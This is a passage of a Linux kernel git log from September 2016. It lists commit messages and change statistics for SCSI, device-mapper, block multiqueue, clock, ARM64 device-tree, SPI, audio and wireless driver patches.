drivers/scsi/NCR5380.c | 8 ++++---- drivers/scsi/NCR5380.h | 2 ++ 2 files changed, 6 insertions(+), 4 deletions(-) commit de64f5c87d7422fbdc502aa5934fafecb4e2da32 Merge: 3db385e d63a5e7 Author: Stephen Boyd Date: Wed Sep 14 11:10:15 2016 -0700 Merge tag 'sunxi-clk-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux into clk-next Pull Allwinner clock driver changes from Maxime Ripard: Four more SoCs converted to the new clock framework (A31, A31s, A23 and A33). * tag 'sunxi-clk-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux: clk: sunxi-ng: Add hardware dependency clk: sunxi-ng: Add A23 CCU clk: sunxi-ng: Add A33 CCU support clk: sunxi-ng: Add N-class clocks support clk: sunxi-ng: mux: Add mux table macro clk: sunxi-ng: div: Allow to set a maximum clk: sunxi-ng: div: Add kerneldoc for the _ccu_div structure clk: sunxi-ng: div: Add mux table macros clk: sunxi-ng: Add A31/A31s clocks clk: sunxi-ng: mux: Add clk notifier functions clk: sunxi-ng: mux: support fixed pre-dividers on multiple parents clk: sunxi-ng: mux: Add support for mux tables clk: sunxi-ng: mux: Rename mux macro to be consistent clk: sunxi-ng: nkm: Add mux to support multiple parents clk: sunxi-ng: mux: Increase fixed pre-divider div size commit 3db385ea144daea9c6e1a15f98eacafaec9ad9f1 Merge: 7348b6c be95d2c Author: Stephen Boyd Date: Wed Sep 14 11:06:47 2016 -0700 Merge tag 'clk-v4.9-samsung' of git://linuxtv.org/snawrocki/samsung into clk-next Pull samsung clk driver updates from Sylwester Nawrocki: In addition to a few clean up and code consolidation patches this includes: - addition of sound subsystem related clocks for Exynos5410 SoC (EPLL, PDMA) and support for "samsung,exynos5410-audss-clock" compatible in the clk-exynos-audss driver, - addition of DRAM controller related clocks for exynos5420, - MAINTAINERS update adding Chanwoo Choi as the Samsung SoC clock drivers co-maintainer. * tag 'clk-v4.9-samsung' of git://linuxtv.org/snawrocki/samsung: clk: samsung: Add support for EPLL on exynos5410 clk: samsung: clk-exynos-audss: Whitespace and debug trace cleanup clk: samsung: clk-exynos-audss: Add exynos5410 compatible clk: samsung: clk-exynos-audss: controller variant handling rework clk: samsung: Use common registration function for pll2550x clk: samsung: exynos5410: Expose the peripheral DMA gate clocks clk: samsung: exynos5420: Add clocks for CMU_CDREX domain clk: samsung: exynos5410: Use samsung_cmu_register_one() to simplify code clk: samsung: exynos5260: Move struct samsung_cmu_info to init section MAINTAINERS: Add myself as Samsung SoC clock drivers co-maintainer clk: samsung: exynos5410: Add clock IDs for PDMA and EPLL clocks clk: samsung: Add clock IDs for the CMU_CDREX (DRAM Express Controller) commit a8ac51e4ab97765838ae6a07d6ff7f7bfaaa0ea3 Author: Mike Snitzer Date: Fri Sep 9 19:24:57 2016 -0400 dm rq: add DM_MAPIO_DELAY_REQUEUE to delay requeue of blk-mq requests Otherwise blk-mq will immediately dispatch requests that are requeued via a BLK_MQ_RQ_QUEUE_BUSY return from blk_mq_ops .queue_rq. Delayed requeue is implemented using blk_mq_delay_kick_requeue_list() with a delay of 5 secs. In the context of DM multipath (all paths down) it doesn't make any sense to requeue more quickly. Signed-off-by: Mike Snitzer drivers/md/dm-rq.c | 32 ++++++++++++++++++-------------- include/linux/device-mapper.h | 1 + 2 files changed, 19 insertions(+), 14 deletions(-) commit 9f4c3f874a3ab8fb845dd2f04f4396ebc5c1f225 Author: Bart Van Assche Date: Wed Aug 31 15:16:43 2016 -0700 dm: convert wait loops to use autoremove_wake_function() Use autoremove_wake_function() instead of default_wake_function() to make the dm wait loops more similar to other wait loops in the kernel. This patch does not change any functionality. Signed-off-by: Bart Van Assche Signed-off-by: Mike Snitzer drivers/md/dm-mpath.c | 10 +++------- drivers/md/dm.c | 10 +++------- 2 files changed, 6 insertions(+), 14 deletions(-) commit e3fabdfdf70e2b340cff968fd1d13e4c624de926 Author: Bart Van Assche Date: Wed Aug 31 15:16:22 2016 -0700 dm: use signal_pending_state() in dm_wait_for_completion() Use signal_pending_state() instead of open-coding it. This patch does not change any functionality but makes it possible to pass TASK_KILLABLE as the second argument of dm_wait_for_completion(). See also commit 16882c1e962b ("sched: fix TASK_WAKEKILL vs SIGKILL race"). Signed-off-by: Bart Van Assche . Signed-off-by: Mike Snitzer drivers/md/dm.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit b48633f83f22914073314d97d49da2a2e1d3b350 Author: Bart Van Assche Date: Wed Aug 31 15:16:02 2016 -0700 dm: rename task state function arguments Rename 'interruptible' into 'task_state' to make it clear that this argument is a task state instead of a boolean. Also, change type from int to long. Signed-off-by: Bart Van Assche Signed-off-by: Mike Snitzer drivers/md/dm.c | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit 5a8f1f80e9dca791ee240213477df99e88258073 Author: Bart Van Assche Date: Wed Aug 31 15:17:04 2016 -0700 dm: add two lockdep_assert_held() statements Document the locking assumptions for the __bind() and __dm_suspend() functions. Signed-off-by: Bart Van Assche Signed-off-by: Mike Snitzer drivers/md/dm.c | 4 ++++ 1 file changed, 4 insertions(+) commit c533f249a166142df4294ec38fa5dcd1903f0400 Author: Bart Van Assche Date: Wed Aug 31 15:17:24 2016 -0700 dm rq: simplify dm_old_stop_queue() This patch does not change any functionality. Signed-off-by: Bart Van Assche Signed-off-by: Mike Snitzer drivers/md/dm-rq.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit f10e06b744074824fb8ec7066bc03ecc90918f5b Author: Mike Snitzer Date: Thu Sep 1 12:06:37 2016 -0400 dm mpath: check if path's request_queue is dying in activate_path() If pg_init_retries is set and a request is queued against a multipath device with all underlying block device request_queues in the "dying" state then an infinite loop is triggered because activate_path() never succeeds and hence never calls pg_init_done(). This change avoids that device removal triggers an infinite loop by failing the activate_path() which causes the "dying" path to be failed. Reported-by: Bart Van Assche Signed-off-by: Mike Snitzer Cc: stable@vger.kernel.org drivers/md/dm-mpath.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 9dbeaeabacb26260d1621fe58f0f6fdedc8860d4 Author: Mike Snitzer Date: Thu Sep 1 11:59:33 2016 -0400 dm rq: take request_queue lock while clearing QUEUE_FLAG_STOPPED Every call of queue_flag_clear_unlocked() after block device initialization has finished is wrong if blk_cleanup_queue() can be called concurrently. Convert queue_flag_clear_unlocked() into queue_flag_clear() and protect it by the block layer queue lock. Also, factor out dm_mq_start_queue(). Reported-by: Bart Van Assche Signed-off-by: Mike Snitzer Cc: stable@vger.kernel.org drivers/md/dm-rq.c | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) commit 2397a15aff35b5b4eed732ce81fda5a9d15053f9 Author: Bart Van Assche Date: Wed Aug 31 15:18:11 2016 -0700 dm rq: factor out dm_mq_stop_queue() Also, check that the blk-mq request_queue isn't already stopped. Signed-off-by: Bart Van Assche Signed-off-by: Mike Snitzer drivers/md/dm-rq.c | 28 ++++++++++++++++++++-------- 1 file changed, 20 insertions(+), 8 deletions(-) commit 3b785fbcf81c3533772c52b717f77293099498d3 Author: Bart Van Assche Date: Wed Aug 31 15:17:49 2016 -0700 dm: mark request_queue dead before destroying the DM device This avoids that new requests are queued while __dm_destroy() is in progress. Signed-off-by: Bart Van Assche Signed-off-by: Mike Snitzer Cc: stable@vger.kernel.org drivers/md/dm.c | 5 +++++ 1 file changed, 5 insertions(+) commit 8dc23658b7aaa8b6b0609c81c8ad75e98b612801 Author: Minfei Huang Date: Tue Sep 6 16:00:29 2016 +0800 dm: return correct error code in dm_resume()'s retry loop dm_resume() will return success (0) rather than -EINVAL if !dm_suspended_md() upon retry within dm_resume(). Reset the error code at the start of dm_resume()'s retry loop. Also, remove a useless assignment at the end of dm_resume(). Fixes: ffcc393641 ("dm: enhance internal suspend and resume interface") Cc: stable@vger.kernel.org # 3.19+ Signed-off-by: Minfei Huang Signed-off-by: Mike Snitzer drivers/md/dm.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 566603e5e6b68da1e72011ec3091fe12ba9510b7 Author: Martin Blumenstingl Date: Sun Sep 11 15:41:09 2016 +0200 ARM64: dts: meson-gxbb: add USB Nodes Add the nodes for the dwc2 USB controller and the related USB PHYs. Currently we force usb0 to host mode because OTG is currently not working in our PHY driver. Signed-off-by: Martin Blumenstingl Signed-off-by: Jerome Brunet Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 43 +++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) commit cb700f4935dbd65aedfaabb0f5799eb14e5ebb60 Author: Jerome Brunet Date: Wed Sep 14 12:06:08 2016 +0200 ARM64: dts: gxbb: add i2c bus Add nodes for i2c bus on gxbb based platforms. On the OdroidC2 (I2C A) and P200 (I2C B), the pull-up resistor are present directly on the board. This indicates that these pins are dedicated to i2c. Signed-off-by: Jerome Brunet Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb-odroidc2.dts | 6 ++++++ arch/arm64/boot/dts/amlogic/meson-gxbb-p200.dts | 6 ++++++ 2 files changed, 12 insertions(+) commit 2849450ad39d2e699fda2d5c6f41e05d87fd7004 Author: Mike Snitzer Date: Wed Sep 14 13:28:30 2016 -0400 blk-mq: introduce blk_mq_delay_kick_requeue_list() blk_mq_delay_kick_requeue_list() provides the ability to kick the q->requeue_list after a specified time. To do this the request_queue's 'requeue_work' member was changed to a delayed_work. blk_mq_delay_kick_requeue_list() allows DM to defer processing requeued requests while it doesn't make sense to immediately requeue them (e.g. when all paths in a DM multipath have failed). Signed-off-by: Mike Snitzer Signed-off-by: Jens Axboe block/blk-mq.c | 16 ++++++++++++---- include/linux/blk-mq.h | 1 + include/linux/blkdev.h | 2 +- 3 files changed, 14 insertions(+), 5 deletions(-) commit 1befc626c175871d3a95a9b7dc51956a66e8760a Author: Neil Armstrong Date: Wed Sep 14 12:06:07 2016 +0200 ARM64: dts: meson-gxbb: add I2C nodes Signed-off-by: Neil Armstrong Signed-off-by: Jerome Brunet Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 40 +++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) commit 8c04d7950ac6c6ba1086eeb50e0f00c0eec06263 Author: Jerome Brunet Date: Wed Sep 14 12:06:06 2016 +0200 ARM64: dts: meson-gxbb: add pins for I2C Signed-off-by: Jerome Brunet Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 32 +++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) commit e9c9b651a3e22bab72a84dae0d7871efcaebe13c Author: Neil Armstrong Date: Fri Sep 9 10:28:58 2016 +0200 ARM64: dts: meson-gxbb: Add SPIFC node Signed-off-by: Neil Armstrong Signed-off-by: Jerome Brunet Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 9 +++++++++ 1 file changed, 9 insertions(+) commit 2d7ed3df4401ea818ff821650b37ed56c5a0fbf5 Author: Neil Armstrong Date: Sun Sep 11 14:39:03 2016 +0200 ARM64: dts: meson-gxbb: add the SDIO pins This is used to configure the pins of the sd_emmc_a controller to which an SDIO module is connected (when available). Signed-off-by: Neil Armstrong Tested-by: Martin Blumenstingl Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit c74b5ecfe3328196ae3c1809e98ce5fd0fb17ed8 Author: Jerome Brunet Date: Fri Sep 9 10:28:57 2016 +0200 ARM64: dts: amlogic: add spi nor pins Signed-off-by: Jerome Brunet Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 42bede64c834e29fda0bd126c61ef61bc9d71278 Author: Martin Blumenstingl Date: Sun Sep 4 20:23:20 2016 +0200 ARM64: dts: meson-gxbb: use the new GXBB DWMAC glue driver The Amlogic reference driver uses the "mc_val" devicetree property to configure the PRG_ETHERNET_ADDR0 register. Unfortunately it uses magic values for this configuration. According to the datasheet the PRG_ETHERNET_ADDR0 register is at address 0xc8834108. However, the reference driver uses 0xc8834540 instead. According to my tests, the value from the reference driver is correct. No changes are required to the board dts files because the only required configuration option is the phy-mode, which had to be configured correctly before as well. Signed-off-by: Martin Blumenstingl Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 8f14a89305b53fdf18e04cf94a89cd5460423d69 Author: Neil Armstrong Date: Mon Aug 22 17:36:32 2016 +0200 ARM64: dts: meson-gxbb: Add Meson GXBB PWM Controller nodes Signed-off-by: Neil Armstrong Tested-by: Jérôme Brunet Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) commit 7b5682c64bd50737050e1c1d30770a580feaf13a Author: Neil Armstrong Date: Thu Aug 18 12:10:27 2016 +0200 ARM64: dts: meson-gxbb: Add Meson MHU Node Signed-off-by: Neil Armstrong Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb.dtsi | 9 +++++++++ 1 file changed, 9 insertions(+) commit f59063aee201bf6acc1eb04fdb726821e136c661 Author: Martin Blumenstingl Date: Sun Sep 4 20:29:03 2016 +0200 ARM64: dts: amlogic: enable ethernet on all Tronsmart Vega S95 devices All of these have a Realtek Gbit RGMII PHY. Signed-off-by: Martin Blumenstingl Tested-by: Andreas Färber Signed-off-by: Kevin Hilman arch/arm64/boot/dts/amlogic/meson-gxbb-vega-s95.dtsi | 6 ++++++ 1 file changed, 6 insertions(+) commit 81abc2ecac838da89076fe9e0e5892ed83bf1ab2 Author: Heiner Kallweit Date: Tue Sep 13 23:16:06 2016 +0200 spi: fsl-espi: improve and extend register bit definitions Add definition of further register bits for use in upcoming driver extensions and improve current bit definitions: - use BIT macro - use bit names as in the chip spec Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 52 +++++++++++++++++++++++++++++----------------- 1 file changed, 33 insertions(+), 19 deletions(-) commit 46afd38b7de347fd329767957886901ee9912d7a Author: Heiner Kallweit Date: Tue Sep 13 23:16:02 2016 +0200 spi: fsl-espi: align register access with other drivers Change register access to the method used in other drivers too. - use register names as in the chip spec for constants - avoid hard to read statements like __be32 __iomem *espi_mode = ®_base->mode - get rid of old powerpc-specific functions like in_8 In addition annotate reg_base in struct mpc8xxx_spi as __iomem. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 135 ++++++++++++++++++++++++--------------------- drivers/spi/spi-fsl-lib.h | 2 +- 2 files changed, 73 insertions(+), 64 deletions(-) commit 35f5d71e38f2c0a9e7fdfbe0e9527efc712cfbcf Author: Heiner Kallweit Date: Tue Sep 13 23:15:57 2016 +0200 spi: fsl-espi: improve and simplify interrupt handler Simplify the interrupt handler a little. In addition don't call fsl_espi_cpu_irq() if no event bit is set. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) commit d198ebfb75adec5156b07b96dc21b6b9e5144018 Author: Heiner Kallweit Date: Tue Sep 13 23:15:45 2016 +0200 spi: fsl-espi: simplify fsl_espi_setup_transfer If t is not null then the SPI core takes care that bits_per_word and speed_hz are populated. This allows to simplify fsl_espi_setup_transfer. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 16 ++-------------- 1 file changed, 2 insertions(+), 14 deletions(-) commit e8f814202597e7416f6633793ec947d66b611895 Author: Daniel Wagner Date: Tue Sep 13 10:58:50 2016 +0200 scsi: virtio_scsi: Use complete() instead complete_all() There is only one waiter for the completion, therefore there is no need to use complete_all(). Let's make that clear by using complete() instead of complete_all(). The usage pattern of the completion is: waiter context waker context virtscsi_tmf() DECLARE_COMPLETION_ONSTACK() virtscsi_kick_cmd() wait_for_completion() virtscsi_complete_free() complete() Signed-off-by: Daniel Wagner Reviewed-by: Christoph Hellwig Signed-off-by: Martin K. Petersen drivers/scsi/virtio_scsi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ba2f1293e95f071156f5a6660fb2316d4ea15c46 Author: Daniel Wagner Date: Tue Sep 13 10:58:49 2016 +0200 scsi: sym53c8xx_2: Use complete() instead complete_all() There is only one waiter for the completion, therefore there is no need to use complete_all(). Let's make that clear by using complete() instead of complete_all(). The usage pattern of the completion is: waiter context waker context sym_eh_handler() struct completion eh_done init_completion(eh_done) pci_channel_offline() wait_for_completion_timeout(eh_done) sym2_io_resume() complete(eh_done) Signed-off-by: Daniel Wagner Reviewed-by: Christoph Hellwig Signed-off-by: Martin K. Petersen drivers/scsi/sym53c8xx_2/sym_glue.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3e3f5a8a0f03e5af8a243f6b04cb007068481358 Author: Daniel Wagner Date: Tue Sep 13 10:58:48 2016 +0200 scsi: csiostor: Fix completion usage The (re)initializing of the completion object should be done before we trigger the transfer. Doing this after triggering the hardware opens up a race window. Without the timeout we would problaly even deadlock. Use also reinit_completion because we initalize the whole data structure in csio_scscim_init(). There is only one waiter for the completion, therefore there is no need to use complete_all(). Let's make that clear by using complete() instead of complete_all(). The usage pattern of the completion is: waiter context waker context csio_eh_abort_handler() reinit_completion() wait_for_completion_timeout() csio_scsi_err_handler() complete() [mkp: fix typo] Signed-off-by: Daniel Wagner Reviewed-by: Christoph Hellwig Signed-off-by: Martin K. Petersen drivers/scsi/csiostor/csio_scsi.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 04adc0842f5accf99e9757930fc429bf7788cfb3 Author: Arnaud Pouliquen Date: Tue Sep 13 09:58:24 2016 +0200 ASoC: sti: suppress inappropriate fields for sti sound card Suppress fields that can be handled in driver using compatible string. Rename compatibility strings accordingly. Signed-off-by: Arnaud Pouliquen Signed-off-by: Mark Brown .../devicetree/bindings/sound/st,sti-asoc-card.txt | 52 +++++++--------------- 1 file changed, 16 insertions(+), 36 deletions(-) commit 5a4326d1c21bc9aa958d5e621e06cd1b13e50711 Author: Arnaud Pouliquen Date: Tue Sep 13 09:58:23 2016 +0200 ASoC: sti: suppress inappropriate DT fields Update to suppress some DT nodes that can be handled in driver using compatible string. "dai-name", "st,version"and "st,mode" are suppressed "st,tdm-mode" is added to handle TDM mode. Signed-off-by: Arnaud Pouliquen Signed-off-by: Mark Brown sound/soc/sti/sti_uniperif.c | 130 +++++++++++++++++++++++++++++++++------- sound/soc/sti/uniperif.h | 28 ++++----- sound/soc/sti/uniperif_player.c | 79 +++++------------------- sound/soc/sti/uniperif_reader.c | 46 +------------- 4 files changed, 140 insertions(+), 143 deletions(-) commit 4086eae52beab7808b8aa1a9f7d4095eebc247c7 Author: Colin Ian King Date: Mon Sep 12 13:42:12 2016 +0100 scsi: megaraid_sas: add in missing white space in error message text A dev_printk message spans two lines and the literal string is missing a white space between words. Add the white space. Signed-off-by: Colin Ian King Acked-by: Sumit Saxena Reviewed-by: Hannes Reinecke Signed-off-by: Martin K. Petersen drivers/scsi/megaraid/megaraid_sas_base.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 57995a4860542ea2089558c84f739e12d5ca1059 Author: Matthias Kaehlcke Date: Wed Sep 14 09:52:05 2016 -0700 regulator: core: Use local ops variable in _regulator_do_set_voltage() Signed-off-by: Matthias Kaehlcke Signed-off-by: Mark Brown drivers/regulator/core.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit 0f72a8a39cd033a26bddafe2b101d12cac039bdc Author: Charles Keepax Date: Fri Sep 2 16:52:45 2016 +0100 ASoC: arizona: Avoid changing SYNC_ENA whilst the FLL_ENA is set For best performance changing the synchroniser state whilst the FLL is running should be avoided. As this has been done fairly regularly in practice rather than hard preventing this, simply improve the FLL enable sequence and give a warning if the user changes the synchroniser state. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/arizona.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 9fd1cd58356bcc1c4710a454796bff0cc997d5da Merge: 62bb710 cfb89f2 Author: Mark Brown Date: Wed Sep 14 18:07:48 2016 +0100 Merge tag 'asoc-fix-v4.8-rc4' into asoc-arizona ASoC: Fixes for v4.8 A clutch of fixes for v4.8. These are mainly driver specific, the most notable ones being those for OMAP which fix a series of issues that broke boot on some platforms there when deferred probe kicked in. There's also one core fix for an issue when unbinding a card which for some reason had managed to not manifest until recently. commit 62bb7104687c0ac1e85b1cf45a85a20b492b06a6 Author: Charles Keepax Date: Fri Sep 2 16:52:44 2016 +0100 ASoC: arizona: Allow specification of base for arizona_is_enabled_fll In preparation for future improvements allow a base to be passed to arizona_is_enabled_fll, this will allow it to be used to check the state of the synchroniser path as well. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/arizona.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 15ca92156e6242060dff91c8d8e7fe7ae82d424a Author: Martin Kaiser Date: Thu Sep 1 22:39:58 2016 +0200 spi: imx: support loopback mode on imx35 imx35 and compatible chipsets support loopback mode by setting a loopback control bit in the test register. Make this setting available for data transfers, similar to what we do for imx51. Signed-off-by: Martin Kaiser Signed-off-by: Mark Brown drivers/spi/spi-imx.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit 2636ba8fa39915c7b8d73166961ebbb4c14251cd Author: Martin Kaiser Date: Thu Sep 1 22:38:40 2016 +0200 spi: imx: set spi_bus_clk for mx1, mx31 and mx35 Modify spi_imx_clkdiv_2() to return the resulting bus clock frequency when the selected clock divider is applied. Set spi_imx->spi_bus_clk to this frequency. If spi_bus_clk is unset, spi_imx_calculate_timeout() causes a division by 0. Signed-off-by: Martin Kaiser Signed-off-by: Mark Brown drivers/spi/spi-imx.c | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) commit 4e3b2d236fe00f0e0b6c45dcb3cc7d84c2316424 Author: Kamal Dasu Date: Wed Aug 24 18:04:25 2016 -0400 spi: bcm-qspi: Add BSPI spi-nor flash controller driver This change implements BSPI driver for Broadcom BRCMSTB, NS2, NSP SoCs works in combination with the MSPI controller driver and implements flash read acceleration and implements the spi_flash_read() method. Both MSPI and BSPI controllers are needed to access spi-nor flash. Signed-off-by: Kamal Dasu Signed-off-by: Yendapally Reddy Dhananjaya Reddy Signed-off-by: Mark Brown drivers/spi/spi-bcm-qspi.c | 603 ++++++++++++++++++++++++++++++++++++++++++++- drivers/spi/spi-bcm-qspi.h | 20 ++ 2 files changed, 620 insertions(+), 3 deletions(-) commit 44f95d87a6187f5027568bbcdce491713d7de5e5 Author: Kamal Dasu Date: Wed Aug 24 18:04:24 2016 -0400 spi: brcmstb-qspi: Broadcom settop platform driver Adding the settop SoC platfrom driver, this driver is compatible with the settop MSPI+BSPI and MSPI only blocks implemented on the SoCs. Driver calls the spi-bcm-qspi probe(), remove() and pm_ops. Signed-off-by: Kamal Dasu Signed-off-by: Mark Brown drivers/spi/Makefile | 2 +- drivers/spi/spi-brcmstb-qspi.c | 53 ++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 54 insertions(+), 1 deletion(-) commit fa236a7ef24048bafaeed13f68df35a819794758 Author: Kamal Dasu Date: Wed Aug 24 18:04:23 2016 -0400 spi: bcm-qspi: Add Broadcom MSPI driver Master SPI driver for Broadcom settop, iProc SoCs. The driver is used for devices that use SPI protocol on BRCMSTB, NSP, NS2 SoCs. SoC platform driver call exported porbe(), remove() and suspend/resume pm_ops implemented in this common driver. Signed-off-by: Kamal Dasu Signed-off-by: Yendapally Reddy Dhananjaya Reddy Signed-off-by: Mark Brown drivers/spi/Kconfig | 10 + drivers/spi/Makefile | 1 + drivers/spi/spi-bcm-qspi.c | 712 +++++++++++++++++++++++++++++++++++++++++++++ drivers/spi/spi-bcm-qspi.h | 63 ++++ 4 files changed, 786 insertions(+) commit 5fc78f4c842aadb5bbe9d7033930e5b3afdffda6 Author: Kamal Dasu Date: Wed Aug 24 18:04:22 2016 -0400 spi: Broadcom BRCMSTB, NSP, NS2 SoC bindings Added device tree bindings documentation for BRCMSTB, NSP, NS2 iProc SoCs supported by spi-bcm-qspi, spi-brcmstb-qspi and spi-iproc-qspi driver. Signed-off-by: Kamal Dasu Signed-off-by: Yendapally Reddy Dhananjaya Reddy Signed-off-by: Mark Brown .../devicetree/bindings/spi/brcm,spi-bcm-qspi.txt | 233 +++++++++++++++++++++ 1 file changed, 233 insertions(+) commit b7450e248d71067e0c1a09614cf3d7571f7e10fa Author: Ganapathi Bhat Date: Mon Sep 12 18:55:28 2016 +0530 mwifiex: firmware name correction for usb8997 chipset Similar to pcie8997 chipset, first firmware submitted for usb8997 chipset will be usbusb8997_combo_v4.bin. This patch corrects the name used in driver. Signed-off-by: Ganapathi Bhat Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/usb.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 787764676f94114980d17e627b21937f4245c866 Author: Ganapathi Bhat Date: Mon Sep 12 18:55:27 2016 +0530 mwifiex: Command 7 handling for USB chipsets Firmware image for newer USB chipsets starts with a command 7 block (special command). It doesn't contain data length field. This patch adds necessary handling. Signed-off-by: Ganapathi Bhat Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/usb.c | 4 ++++ drivers/net/wireless/marvell/mwifiex/usb.h | 1 + 2 files changed, 5 insertions(+) commit d86e64768859fca82c78e52877ceeba04e25d27a Author: Julia Lawall Date: Sun Sep 11 15:06:03 2016 +0200 rtlwifi: rtl818x: constify local structures For structure types defined in the same file or local header files, find top-level static structure declarations that have the following properties: 1. Never reassigned. 2. Address never taken 3. Not passed to a top-level macro call 4. No pointer or array-typed field passed to a function or stored in a variable. Declare structures having all of these properties as const. Done using Coccinelle. Based on a suggestion by Joe Perches . Signed-off-by: Julia Lawall Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtlwifi/rtl8188ee/sw.c | 2 +- drivers/net/wireless/realtek/rtlwifi/rtl8192ce/sw.c | 2 +- drivers/net/wireless/realtek/rtlwifi/rtl8192de/sw.c | 2 +- drivers/net/wireless/realtek/rtlwifi/rtl8192ee/sw.c | 2 +- drivers/net/wireless/realtek/rtlwifi/rtl8192se/sw.c | 2 +- drivers/net/wireless/realtek/rtlwifi/rtl8723ae/sw.c | 2 +- drivers/net/wireless/realtek/rtlwifi/rtl8723be/sw.c | 2 +- drivers/net/wireless/realtek/rtlwifi/rtl8821ae/sw.c | 2 +- 8 files changed, 8 insertions(+), 8 deletions(-) commit 1dc80798a8caab8b5788da96ab220c91a03d7d29 Author: Julia Lawall Date: Sun Sep 11 15:05:50 2016 +0200 iwlegacy: constify local structures For structure types defined in the same file or local header files, find top-level static structure declarations that have the following properties: 1. Never reassigned. 2. Address never taken 3. Not passed to a top-level macro call 4. No pointer or array-typed field passed to a function or stored in a variable. Declare structures having all of these properties as const. Done using Coccinelle. Based on a suggestion by Joe Perches . Signed-off-by: Julia Lawall Acked-by: Stanislaw Gruszka Signed-off-by: Kalle Valo drivers/net/wireless/intel/iwlegacy/3945.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8136fd58ad60e25cf8b99d08bf92c09d02b416ef Author: Julia Lawall Date: Sun Sep 11 15:05:48 2016 +0200 ath: constify local structures For structure types defined in the same file or local header files, find top-level static structure declarations that have the following properties: 1. Never reassigned. 2. Address never taken 3. Not passed to a top-level macro call 4. No pointer or array-typed field passed to a function or stored in a variable. Declare structures having all of these properties as const. Done using Coccinelle. Based on a suggestion by Joe Perches . Signed-off-by: Julia Lawall Signed-off-by: Kalle Valo drivers/net/wireless/ath/dfs_pattern_detector.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0cd7f70399f71fdd87b34d28670248c36e4db455 Author: Colin Ian King Date: Fri Sep 9 14:01:25 2016 -0400 rtl8xxxu: fix spelling mistake "firmare" -> "firmware" Trivial fix to spelling mistakes in dev_dbg message. Signed-off-by: Colin Ian King Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 54cdf5c727cb3d3124e61433a13e9724a7a4a952 Author: Jes Sorensen Date: Fri Sep 9 14:01:24 2016 -0400 rtl8xxxu: Reset device on module unload if still attached If the USB dongle is still attached, reset it on module unload to avoid scans failing when reloading the driver. Signed-off-by: Jes Sorensen Signed-off-by: Kalle Valo drivers/net/wireless/realtek/rtl8xxxu/rtl8xxxu_core.c | 5 +++++ 1 file changed, 5 insertions(+) commit ae1799a1cb130170c3ba3370793cea5b0d9d2aa8 Author: Amitkumar Karwar Date: Fri Sep 9 20:26:19 2016 +0530 mwifiex: correction in Rx STBC field of htcapinfo Currently Rx STBC in assoc request frame is advertised as 3. It should be 2, as our chipsets support two spatial streams. Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/cfg80211.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6b03144d93fc7de7ef03334384fea0fab058fa6d Author: Amitkumar Karwar Date: Fri Sep 9 16:27:58 2016 +0530 mwifiex: handle error if IRQ request fails in mwifiex_sdio_of() When this failure occurs, we will clear card->plt_wake_cfg so that device would initialize without wake 